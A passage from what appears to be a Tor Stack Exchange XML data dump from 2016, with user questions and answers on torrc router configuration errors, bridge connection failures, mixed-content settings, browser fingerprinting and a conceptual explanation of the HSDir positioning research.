currently most popular obfs4.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-09-12T04:45:27.553" LastActivityDate="2016-09-12T04:45:27.553" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12568" PostTypeId="1" CreationDate="2016-09-09T07:07:24.910" Score="1" ViewCount="504" Body="&lt;p&gt;I want use Raspberry Pi3 as a TOR Router with Arm installed.&#xA;Here is my torrc configuration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/tor/torrc&#xA;VirtualAddrNetwork 10.192.0.0/10&#xA;AutomapHostsSuffixes .onion,.exit&#xA;AutomapHostsOnResolve 1&#xA;TransPort 9040&#xA;TransListenAddress 192.168.2.1&#xA;DNSPort 53&#xA;DNSListenAddress 192.168.2.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These configuration work perfectly in Raspbian but when I wanna use them in Manjaro-Arm I got this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You configured a non-loopback address '192.168.2.1:53' for DNSPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted.&#xA; [notice] You configured a non-loopback address '192.168.2.1:9040' for TransPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted.&#xA; [notice] You configured a non-loopback address '192.168.2.1:53' for DNSPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted.&#xA;systemd[1]: tor.service: Main process exited, code=exited, status=1/FAILURE&#xA;systemd[1]: tor.service: Unit entered failed state.&#xA; systemd[1]: tor.service: Failed with result 'exit-code'.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The exact &lt;code&gt;systemctl status tor&lt;/code&gt;&lt;a href=&quot;https://paste.ubuntu.ir/beaf&quot; rel=&quot;nofollow&quot;&gt;available here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me in this problem?&#xA;I did &lt;a href=&quot;https://tor.stackexchange.com/questions/4173/using-tor-browser-with-alternate-tor-client-works-but-issues-warning&quot;&gt;read this&lt;/a&gt; but it is of no help.&#xA;With configuration I mentioned tor works normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and when I start tor this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    [saeb@my-pi ~]$ /usr/bin/tor -f /etc/tor/torrc&#xA;Sep 10 17:18:23.343 [notice] Tor v0.2.8.7 running on Linux with Libevent 2.0.22-stable, OpenSSL 1.0.2h and Zlib 1.2.8.&#xA;Sep 10 17:18:23.343 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Sep 10 17:18:23.348 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Sep 10 17:18:23.360 [notice] You configured a non-loopback address '192.168.2.1:53' for DNSPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted.&#xA;Sep 10 17:18:23.360 [notice] You configured a non-loopback address '192.168.2.1:9040' for TransPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted.&#xA;Sep 10 17:18:23.398 [notice] You configured a non-loopback address '192.168.2.1:53' for DNSPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted.&#xA;Sep 10 17:18:23.398 [notice] You configured a non-loopback address '192.168.2.1:9040' for TransPort. This allows everybody on your local network to use your machine as a proxy. Make sure this is what you wanted.&#xA;Sep 10 17:18:23.398 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Sep 10 17:18:23.398 [notice] Opening DNS listener on 192.168.2.1:53&#xA;Sep 10 17:18:23.398 [warn] Could not bind to 192.168.2.1:53: Cannot assign requested address&#xA;Sep 10 17:18:23.398 [notice] Opening Transparent pf/netfilter listener on 192.168.2.1:9040&#xA;Sep 10 17:18:23.398 [warn] Could not bind to 192.168.2.1:9040: Cannot assign requested address&#xA;Sep 10 17:18:23.398 [notice] Closing partially-constructed Socks listener on 127.0.0.1:9050&#xA;Sep 10 17:18:23.399 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Sep 10 17:18:23.399 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14267" LastEditorUserId="14267" LastEditDate="2016-09-10T12:49:54.293" LastActivityDate="2016-09-10T12:49:54.293" Title="Help need in a Tor router configuration error on Manjaro-Arm" Tags="|linux|network-configuration|raspberry-pi|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12569" PostTypeId="1" CreationDate="2016-09-09T07:46:07.453" Score="1" ViewCount="39" Body="&lt;p&gt;Till 3 days ago everything was fine, Tor browser 6.0.4 was connecting very well and even Vidalia Tor bundle too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now, none of them are connecting from any PC through my college network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My configurations are:&#xA;System : windows 7, 32-bit&#xA;local proxy: proxy.xxxxxx.in ,  port :31xx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the &lt;strong&gt;Tor Browser 6.0.4&lt;/strong&gt; , earlier I was using &lt;strong&gt;meek-azure bridges&lt;/strong&gt; but now it is showing error and the &lt;strong&gt;error log&lt;/strong&gt; is as :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;09-09-2016 12:59:43.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09-09-2016 13:01:28.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09-09-2016 13:01:28.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09-09-2016 13:01:28.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09-09-2016 13:01:28.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;09-09-2016 13:01:37.600 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;09-09-2016 13:01:37.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;09-09-2016 13:01:38.100 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 1; recommendation warn; host A2C13B7DFCAB1CBF3A884B6EB99A98067AB6EF44 at 0.0.2.0:3) &#xA;09-09-2016 13:01:38.100 [WARN] 1 connections have failed: &#xA;09-09-2016 13:01:38.100 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;09-09-2016 13:03:36.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;09-09-2016 13:03:36.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09-09-2016 13:03:36.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried &lt;strong&gt;obfs3 bridges&lt;/strong&gt; also but it failed too. &lt;strong&gt;Error log&lt;/strong&gt; is as :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;09-09-2016 13:07:36.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09-09-2016 13:07:36.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09-09-2016 13:07:36.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09-09-2016 13:07:36.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;09-09-2016 13:07:47.700 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;09-09-2016 13:09:00.700 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;09-09-2016 13:09:00.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;09-09-2016 13:09:00.700 [NOTICE] Closing old Socks listener on 127.0.0.1:9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope you guys could really help me here.&lt;/p&gt;&#xA;" OwnerUserId="14268" LastEditorUserId="13768" LastEditDate="2016-09-12T06:31:11.513" LastActivityDate="2016-09-12T06:31:11.513" Title="Establishing an encrypted directory connection failed while trying to connect to Tor via my college's network even with bridges" Tags="|tor-browser-bundle|bridge|obfsproxy|error|meek|" AnswerCount="0" CommentCount="5" ClosedDate="2016-09-16T19:23:00.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="12574" PostTypeId="2" ParentId="9908" CreationDate="2016-09-10T06:36:38.513" Score="0" Body="&lt;p&gt;Alternatively if you are willing to spend more money, you can buy a burner phone with it's own sim card and after registration, throw it away.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if currently (or in the future for the other people reading answer) you are from places where buying sim cards requires registration with your identity, government agencies can still track you down. That will also depend on your &lt;a href=&quot;https://ssd.eff.org/en/module/introduction-threat-modeling&quot; rel=&quot;nofollow&quot;&gt;threat model&lt;/a&gt; if it includes these adversarial agencies or not.&lt;/p&gt;&#xA;" OwnerUserId="13768" LastActivityDate="2016-09-10T06:36:38.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12580" PostTypeId="1" CreationDate="2016-09-11T03:05:12.017" Score="2" ViewCount="372" Body="&lt;p&gt;&lt;a href=&quot;https://nakedsecurity.sophos.com/2016/09/07/can-you-trust-tors-hidden-service-directories/&quot; rel=&quot;nofollow&quot;&gt;https://nakedsecurity.sophos.com/2016/09/07/can-you-trust-tors-hidden-service-directories/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if the descriptor ID is predictable, how easy is to muscle into the positions in the list just above a target site, ensuring that you become its HSDir that day?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To prove the point they then used their brute force technique to make themselves all six HSDirs for Facebook’s .onion site&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;So they were able to make themselves the servers (facebook) entry nodes?&lt;/li&gt;&#xA;&lt;li&gt;Is this as devastating an attack to general users?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The HSDirs change each day because the site’s digest, which is based on its ID and the date, also changes (in a deliberately predictable way) every day.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why the hell is anything about Tor's design predictable? Wouldn't randomization be our friend with these types of anonymity tools? I'm sure the complex work that goes into developing the tor network justifies the &quot;predictable&quot; nature of the vulnerability but even a basic user such as myself can see how randomizing as many variables as possible can be beneficial. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14286" LastEditorUserId="88" LastEditDate="2016-09-16T19:21:17.783" LastActivityDate="2016-09-16T19:21:17.783" Title="Malicious hidden service directories" Tags="|configuration|onion-services|onion-routing|vulnerability|hsdir|" AnswerCount="1" CommentCount="2" ClosedDate="2016-09-16T19:22:25.647" ContentLicense="CC BY-SA 3.0" />
  <row Id="12583" PostTypeId="1" CreationDate="2016-09-11T15:19:37.647" Score="1" ViewCount="29" Body="&lt;p&gt;I made a private Obfs4 bridge on my Ubuntu with openVZ on a VPS successfully recently, but I have no idea that what's my bridge and how to find it. I need help, please!&lt;/p&gt;&#xA;" OwnerUserId="14291" LastEditorUserId="13768" LastEditDate="2016-09-13T09:53:25.343" LastActivityDate="2016-09-13T09:53:25.343" Title="Where can I get my private Obfs4 bridge?" Tags="|bridge|ubuntu|obfs4|vps|" AnswerCount="0" CommentCount="0" ClosedDate="2016-09-13T09:45:59.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="12584" PostTypeId="1" CreationDate="2016-09-12T04:22:51.150" Score="4" ViewCount="319" Body="&lt;p&gt;A little new to Tor, been taking a closer look at how requests happen in the browser. At the top when I open Tools &gt;&gt; Web Developer &gt;&gt; Browser Console and start browsing the web I notice a few things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I get this TorButton warning every few seconds:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Torbutton WARN: no SOCKS credentials found for current document.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can anymore tell me what this means and if it's critical?&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Also noticed a lot of this when browsing to sites with DigiCert SSL certificates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;getFirstPartyURI failed for http://ocsp.digicert.com/: 0x80070057&quot;&#xA;&quot;getFirstPartyURI failed for http://clients1.google.com/ocsp: 0x80070057&quot;&#xA;&quot;getFirstPartyURI failed for https://safebrowsing-cache.google.com/safebrowsing/rd/...&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And this for sites using LetsEncrypt SSL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &quot;getFirstPartyURI failed for http://ocsp.int-x3.letsencrypt.org/: 0x80070057&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what this means? And why it might be failing?&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;In NoScript &gt;&gt; Advanced &gt;&gt; HTTPS &gt;&gt; Behavior, it's possible to force SSL everywhere. I kinda like this idea. I'm considering adding &quot;*.*&quot; so force SSL on every website. Sure, many sites still don't support SSL but likewise HttpsEverywhere doesn't apply SSL to some sites that support it. So I'm kinda in the middle here. Would anyone recommend against forcing SSL everywhere? This might make my tor traffic more identifiable in some way, right?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14297" LastEditorUserId="14297" LastEditDate="2016-09-12T04:29:35.367" LastActivityDate="2016-09-12T04:29:35.367" Title="TorButton Warning and SSL" Tags="|tor-browser-bundle|configuration|browsers|ssl|noscript|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12585" PostTypeId="1" CreationDate="2016-09-12T05:20:14.490" Score="3" ViewCount="575" Body="&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Mixed_content&quot; rel=&quot;nofollow&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/Security/Mixed_content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mixed active content is content that has access to all or parts of the Document Object Model of the HTTPS page. This type of mixed content can alter the behavior of the HTTPS page and potentially steal sensitive data from the user. Hence, in addition to the risks described for mixed display content above, mixed active content is vulnerable to a few other attack vectors.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is &lt;code&gt;security.mixed_content.block_active_content&lt;/code&gt; and &lt;code&gt;security.mixed_content.block_display_content&lt;/code&gt; disabled in everyones browser as well? I don't want to enable it and risk making my traffic more identifiable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://freedomsct2bsqtn.onion/txinkucogpbboonfmjoj/fhnIOmfb.png&quot; rel=&quot;nofollow&quot;&gt;http://freedomsct2bsqtn.onion/txinkucogpbboonfmjoj/fhnIOmfb.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't this enabled by default?&lt;/p&gt;&#xA;" OwnerUserId="14298" LastEditorUserId="88" LastEditDate="2016-09-15T13:26:53.153" LastActivityDate="2017-02-12T16:29:16.767" Title="SSL, Mixed Content" Tags="|tor-browser-bundle|configuration|anonymity|security|ssl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12586" PostTypeId="2" ParentId="12580" CreationDate="2016-09-12T07:19:27.897" Score="2" Body="&lt;h3&gt;Quick synopsis&lt;/h3&gt;&#xA;&lt;p&gt;This is oldish research that was presented &lt;a href=&quot;https://conference.hitb.org/hitbsecconf2015ams/wp-content/uploads/2015/02/D2T2-Filippo-Valsorda-and-George-Tankersly-Non-Hidden-Hidden-Services-Considered-Harmful.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;about a year ago&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/filosottile&quot; rel=&quot;nofollow noreferrer&quot;&gt;Filippo Valsorda&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/_gtank&quot; rel=&quot;nofollow noreferrer&quot;&gt;George Tankersley&lt;/a&gt; at HITB.&lt;/p&gt;&#xA;&lt;p&gt;Sophos are an anti-virus company. They have a product to sell and the person who wrote the article clearly doesn't know what they're talking about, for example...&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;recently revealed a new vulnerability&amp;quot; is false in that it wasn't recently revealed and it wasn't a new vulnerability, the &lt;a href=&quot;https://blog.torproject.org/blog/hidden-services-need-some-love&quot; rel=&quot;nofollow noreferrer&quot;&gt;limitations of onion services have been long acknowledged&lt;/a&gt;, they presented a practical attack against know weaknesses.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Network packets are wrapped in multiple layers of encryption&amp;quot; isn't true either, packets are not encapsulated, stream data is.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Each relay in the circuit peels back one layer of encryption, revealing the address of the next relay.&amp;quot; not really how it works either.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;In 2012, researchers at the US Naval Research Laboratory and Washington DC’s Georgetown University investigated Tor’s vulnerability to traffic correlation attacks&amp;quot; This was already addressed by improving the &lt;a href=&quot;https://blog.torproject.org/blog/improving-tors-anonymity-changing-guard-parameters&quot; rel=&quot;nofollow noreferrer&quot;&gt;guard parameters&lt;/a&gt; to make it more resistant.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Operation Onymous, a 17-nation sting that took out over 400 Dark Web sites&amp;quot; actually that figure wasn't true and the number was later admitted to be something like 27 sites. &lt;a href=&quot;https://en.wikipedia.org/wiki/Operation_Onymous&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;The figure of 414 dark net sites, which was widely reported internationally, and appeared in many news headlines, was later adjusted without explanation to &amp;quot;upward of 50&amp;quot; sites. The true figure is thought to be nearer to 27 sites, to which all 414 .onion addresses direct.&amp;quot;&lt;/a&gt;. 10/10 for regurgitating since-disproven misinformation without even reading Wikipedia.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;involved a correlation technique&amp;quot; it was actually a &lt;a href=&quot;https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack&quot; rel=&quot;nofollow noreferrer&quot;&gt;traffic tagging/confirmation technique&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;So they were able to make themselves the servers (facebook) entry nodes?&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;No, they were able to make themselves the HSDir that will serve the descriptors for facebook's onion service. This would allow them to censor the onion service, or ensure that anyone wanting to use Facebook's onion had to talk to them to find out where to initiate contact.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;Is this as devastating an attack to general users?&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;Not really, what this would get you is that with a successful correlation attack (which isn't trivial) that you could say with some percentage of certainty that Bob requested the descriptor for Alice's onion, assuming you knew Alice's onion address and ran 6 relays over a 4 day period where you'd known 4 days prior which onion was Alice's and that no other relays had been added to the set of HSDirs during that time (imagine if two or more people tried this at once and both injected 6+ of their own HSDirs each...). It wouldn't even let you say for certain that Bob ever actually contacted Alice's onion direct even if you were already watching Bob and knew the address of Alice's onion.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;Why the hell is anything about tor's design predictable?&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;It had to be, Alice and Bob share no secret except the onion address. Anyone with Alice's onion address has the same knowledge as Bob, and so must also be able to figure out where to ask for her descriptor. The improvement being made is the addition of &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/250-commit-reveal-consensus.txt#n155&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shared Random Value to the consensus&lt;/a&gt;, this would make it infeasible for anyone to predict their position in the HSDir hash ring prior to calculating their relays identity key and publishing their relay descriptor.&lt;/p&gt;&#xA;&lt;h3&gt;Additional thoughts&lt;/h3&gt;&#xA;&lt;p&gt;People with high security onion services shouldn't be advertising them in principle, and there are &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#HiddenServiceAuthorizeClient&quot; rel=&quot;nofollow noreferrer&quot;&gt;further authentication methods&lt;/a&gt; that can be used that would mean that even if an adversary was able to discover the onion address (through use of a naughty HSDir, for example) they would not be able to discover what services the onion provided without knowledge of a out-of-band distributed shared secret. Further still, an onion service operator can instead publish an encrypted descriptor on a per-client basis which means knowledge of the onion address would only allow the client to denial of service or deanonymize themselves, not any of the other clients.&lt;/p&gt;&#xA;&lt;p&gt;Your comments about &amp;quot;even a basic user such as myself can see how randomizing as many variables as possible can be beneficial&amp;quot;, I'd like to know where you imagine that &amp;quot;randomness&amp;quot; would come from, without something like the change to the consensus and a whole new cryptographic protocol being engineered, as is currently being done?&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-09-12T07:19:27.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12587" PostTypeId="2" ParentId="12585" CreationDate="2016-09-12T07:52:17.217" Score="1" Body="&lt;p&gt;Yes for my browser, those two configuration is disabled. I am sure that the rest also have the same settings too unless they tweaked it. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why isn't this enable by default?  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I find &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8774&quot; rel=&quot;nofollow&quot;&gt;Tor lead developer, Mike Perry's comment in this ticket&lt;/a&gt; provides the most complete explanation of why it is disabled from his point of view:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For Tor's use case, &lt;strong&gt;the current mixed content blocking in Firefox&#xA;  offers no significant benefit as-is&lt;/strong&gt;. The &quot;active vs passive content&quot;&#xA;  blocking distinction does not reflect the realities of the&#xA;  capabilities of cookie theft adversaries, and the use of&#xA;  nsIContentPolicy makes the security properties subject to the&#xA;  irregular behaviors and incomplete coverage of that API.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If Tor Browser were to head in the partial content blocking direction,&#xA;  it would be to &lt;strong&gt;disable &lt;em&gt;all&lt;/em&gt; Javascript from non-https schemes&lt;/strong&gt;&#xA;  regardless of the sourcing scheme, and provide our own doorhanger UI&#xA;  to enable scripts for that first party url bar domain if the user&#xA;  desired. (NoScript is somewhat capable of doing this for us already,&#xA;  but the UX is abysmal and not in any way related to the first party&#xA;  url.)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Under this model, we would want to leave these HTTPS-Everywhere mixed&#xA;  content rules enabled, and we would simply entirely disable the native&#xA;  insecure partial mixed content blocking in Tor Browser. I imagine&#xA;  vanilla Firefox users who use both HTTPS-Everywhere and NoScript would&#xA;  be in favor of an option to keep these rules enabled for this &quot;no&#xA;  javascript over http&quot; usage pattern, as well.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In fact, since &lt;strong&gt;HTTPS-Everywhere already implements an&#xA;  http-on-modify-request observer, we could pretty much disable whatever&#xA;  Firefox does and re-implement it easier, cleaner, and more securely&#xA;  from our own observer.&lt;/strong&gt; Then we could provide the user with multiple&#xA;  options: Full, strict mixed content blocking; https-only Javascript&#xA;  loading; and Firefox-style insecure partial blocking and rule&#xA;  neutering.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13768" LastEditorUserId="13768" LastEditDate="2016-09-12T08:57:12.080" LastActivityDate="2016-09-12T08:57:12.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12588" PostTypeId="1" CreationDate="2016-09-12T10:28:54.040" Score="6" ViewCount="3587" Body="&lt;p&gt;I recently noticed (by doing top) that there is a process running tor by the user debian-tor. I have installed tor, and use it frequently along with torsocks, but I didn't expect to see it running without my calling it first, and for a while it either wasn't happening or I didn't see it. Is this normal behavior, or is there something off?&lt;/p&gt;&#xA;" OwnerUserId="14300" LastEditorUserId="88" LastEditDate="2016-09-14T06:49:27.587" LastActivityDate="2016-09-14T06:49:27.587" Title="Debian-tor user running tor in the background from startup" Tags="|configuration|torsocks|startup|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12589" PostTypeId="1" CreationDate="2016-09-12T14:48:54.943" Score="0" ViewCount="34" Body="&lt;p&gt;&lt;a href=&quot;https://www.browserleaks.com/firefox&quot; rel=&quot;nofollow&quot;&gt;https://www.browserleaks.com/firefox&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it can be used for both fingerprinting (different users use different OS setups or different Tor versions) and exploiting software vulnerabilities because when attacker don’t know your OS or browser version they don’t know what payload can do the thing that if be used incorrectly will show a download warning that compromises their valuable malware to citizenlab like groups.&lt;/p&gt;&#xA;" OwnerUserId="14303" LastActivityDate="2016-09-13T09:53:33.240" Title="firefox can be fingerprinted" Tags="|security|" AnswerCount="1" CommentCount="3" ClosedDate="2016-09-13T09:46:40.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="12590" PostTypeId="2" ParentId="12589" CreationDate="2016-09-12T15:12:18.077" Score="1" Body="&lt;p&gt;Not everything is a simple flip of a switch or a change of an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's being worked on with progressions on both Tor project and Mozilla.&lt;br&gt;&#xA;Tor ticket: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8725&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/8725&lt;/a&gt;.&lt;br&gt;&#xA;Related Mozilla bug ticket: &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=863246&quot; rel=&quot;nofollow&quot;&gt;https://bugzilla.mozilla.org/show_bug.cgi?id=863246&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, the &lt;a href=&quot;https://www.browserleaks.com/whois&quot; rel=&quot;nofollow&quot;&gt;https://www.browserleaks.com/whois&lt;/a&gt; information doesn't matter. That's all about your exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relax.&lt;/p&gt;&#xA;" OwnerUserId="14304" LastEditorUserId="13768" LastEditDate="2016-09-13T09:53:33.240" LastActivityDate="2016-09-13T09:53:33.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12591" PostTypeId="1" CreationDate="2016-09-12T20:00:57.317" Score="1" ViewCount="581" Body="&lt;p&gt;Is there a version of Tor browser for OSX 10.5.8 PPC G5? The only thing available for my OS I see is for 10.6 and above. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14305" LastEditorUserId="13768" LastEditDate="2016-09-13T13:53:50.417" LastActivityDate="2022-01-03T03:08:50.853" Title="Unable to pick a suitable Tor Browser version for OSX 10.5.8" Tags="|tor-browser-bundle|help|mac|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12593" PostTypeId="2" ParentId="12591" CreationDate="2016-09-12T20:53:10.377" Score="-1" Body="&lt;p&gt;Install brew , &lt;/p&gt;&#xA;&#xA;&lt;p&gt;THen :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew install tor; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that , open your terminal (another tab) and run the following to start the service TOR : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to your preferences &amp;amp; Then Network &gt; Advanced ,&lt;/li&gt;&#xA;&lt;li&gt;Then , go to &quot;Proxy&quot; tab and add &quot;Socket Proxy&quot; with HOST=127.0.0.1 and PORT=9050 . &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZWSri.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZWSri.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YIKL3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YIKL3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14306" LastActivityDate="2016-09-12T20:53:10.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
